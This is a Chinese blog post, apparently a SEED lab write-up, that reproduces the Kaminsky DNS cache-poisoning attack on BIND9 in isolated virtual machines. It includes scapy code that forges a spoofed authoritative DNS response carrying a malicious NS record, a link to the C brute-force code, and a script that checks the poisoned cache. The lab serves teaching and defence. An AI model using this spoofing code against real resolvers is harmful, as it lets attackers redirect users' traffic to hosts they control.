DNS 缓存中毒--Kaminsky 攻击复现
0x00 搭建实验环境
使用3台Ubuntu 16.04虚拟机,可到下面的参考链接下载
攻击的服务是BIND9,由于条件限制,这里使用本地的一台虚拟机当作远程DNS解析器,关闭了DNSSEC服务,其中三台机器IP地址,如下图所示:
具体的实验环境搭建过程,可参考:SEED Lab Description
配置User VM:
在用户机 的 /etc/resolvconf/resolv.conf.d/head
文件中,加入下面语句,将其Local DNS 设为 10.0.2.5。
更新 resolv.conf 文件
sudo resolvconf -u
进行验证:dig www.example.com
,SERVER 为 要设置的Local DNS ip ,即表示设置成功。
配置 Local DNS Server VM:
编辑 /etc/bind/named.conf.options文件,①关闭DNSSEC ②将缓存 存放在dump.db文件 ③设置查询请求源端口为33333
编辑 /etc/bind/named.conf文件,红框中的 可以帮助我们在 attack32.com不存在的情况下,也能进行转发。(在本地域名服务器里面设置,到查询这个域名,不去询问根域名,不用买域名服务器,去询问10.0.2.6,其他域名还是去根域名依次递归查询找的。)
全配置好之后,重启bind9服务。
sudo service bind9 restart
配置 attacker VM:
编辑 /etc/bind/named.conf 文件,设置两个attack32.com,example.com两个域。
编辑 /etc/bind/attack32.com.zone 文件
编辑 /etc/bind/example.com.zone文件
这里的含义是,如果缓存中毒,会把攻击者的机器当作权威域名服务器,向其 发出询问,而攻击者机器下的example.com.zone 文件时伪造的,欺骗的。
全配置好之后,重启bind9服务
sudo service bind9 restart
0x01攻击概述
攻击条件
①攻击者无法进行链路上的窃听,但具有IP欺骗能力,攻击者拥有一台attack32.com域名服务器。
②服务器没有开启DNSSEC功能。
③服务器没有进行源端口随机化,且已知发出查询的源端口为33333。
攻击模型
①攻击者先向DNS 解析器发送一个xxxxx.example.com 的DNS查询报文,触发解析器去向根域名服务器,顶级域名服务器,权威域名服务器递归解析。
②递归解析器向权威域名服务器发出查询请求。
③攻击者发送大量的伪造的权威域名服务器响应数据包,其中使用NS记录,将example.com整个域的查询 转向attack32.com,攻击者的域名,实现缓存中毒。一旦TXID命中,即可造成缓存中毒。
④真正的权威域名服务器进行响应。
0x02 实验代码
思路:使用C代码伪造DNS数据包 代码运行速度较快,完全可以满足攻击要求,但构造过程较为复杂,使用python scapy库的方式,构造数据包简单,但执行速度较慢,使Local DNS 缓存中毒难度较大。
综合以上,我们打算 结合二者,先用python scapy 库构造数据包,保存为二进制文件,然后再用C语言去加载构造的数据包,在相应的偏移位置做出修改。( 可以使用bless工具去查看偏移量 )。
因为需要去循环进行查询,爆破相应transaction ID,所以我们要修改的在触发查询的请求包中主要是请求的域名,在响应包里面需要修改域名,transaction ID。
伪造请求包触发DNS解析器递归查询
from scapy.all import * target_name="xxxxx.example.com" ip = IP(dst='10.0.2.5',src='10.0.2.6') #dst为Local DNS IP,src是攻击者IP。 udp = UDP(dport=53,sport=1234,chksum=0) qds = DNSQR(qname=target_name) dns = DNS(id=0xaaaa,qr=0,qdcount=1,ancount=0,nscount=0,arcount=0,qd=qds) Querypkt= ip/udp/dns with open('Query.bin','wb')as f: f.write(bytes(Querypkt))
使用bless 查看偏移量:
发现xxxxx.example.com 在数据包中的偏移量为0x29,及转化为十进制为41。
后面会使用C code 进行修改。
伪造响应包
from scapy.all import * targetName="xxxxx.example.com" targetDomain="example.com" attackerNS ="ns.attack32.com" dstIP="10.0.2.5" srcIP='199.43.135.53' ip = IP(dst=dstIP,src=srcIP,chksum=0) udp = UDP(dport=33333,sport=53,chksum=0) Qdsec = DNSQR(qname=targetName) Ansec = DNSRR(rrname=targetName,type='A',rdata='1.2.3.4',ttl=259200) NSsec = DNSRR(rrname=targetDomain,type='NS',rdata=attackerNS,ttl=259200) dns = DNS(id=0xAAAA,aa=1,rd=1,qr=1,qdcount=1,ancount=1,nscount=1,arcount=0,qd=Qdsec,an=Ansec,ns=NSsec) Replypkt = ip/udp/dns with open('Reply.bin','wb') as f: f.write(bytes(Replypkt))
使用bless查看偏移量:
因为之前我们生成的响应数据包transaction ID为0xAAAA,所以这里我们可以直接查找16进制代码找到,偏移量为0x1c,十进制为28。
同理,第一个xxxxx.example.com 在数据包中的偏移量为0x29,41,第二个xxxxx.example.com 在数据包中的偏移量为0x40,64。
C攻击代码:
完整C攻击代码:(码字不易,点点支持)
可在这里下载:https://download.csdn.net/download/qq_36348899/16615385
0x03 详细过程
dig www.example.com
进行解析,可得到正常情况下的地址为93.184.216.34
未发动攻击前,使用check.sh查看缓存,缓存中并没有相应记录。
注意使用raw socket 要使用 sudo进行执行程序。
程序运行过程:
0x04 结果验证
在Local DNS sever 端 写了一个bash脚本check.sh,进行验证,也可直接在terminal终端使用中间两条命令。
#!/bin/bash echo 'dump the cache' sudo rndc dumpdb -cache cat /var/cache/bind/dump.db | grep attack echo 'if there is no result,the attack has not succeed yet'
sudo rndc dumpdb -cache 将bind的缓存转存到/var/cache/bind/dump.db
中
cat /var/cache/bind/dump.db | grep attack 查看dump.db文件, grep attack 查找带有attack的。
大约十秒左右,即可在Sever VM,通过check.sh脚本查看到结果。
然后在User VM,进行验证。
攻击成功!
0x05 参考资料
本文来自博客园,作者:PsgQ,转载请注明原文链接:https://www.cnblogs.com/PsgQ/p/14601942.html
喜欢作者瓜皮的小伙伴,点点关注,投喂瓜皮,你的支持是我一直创作的动力
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具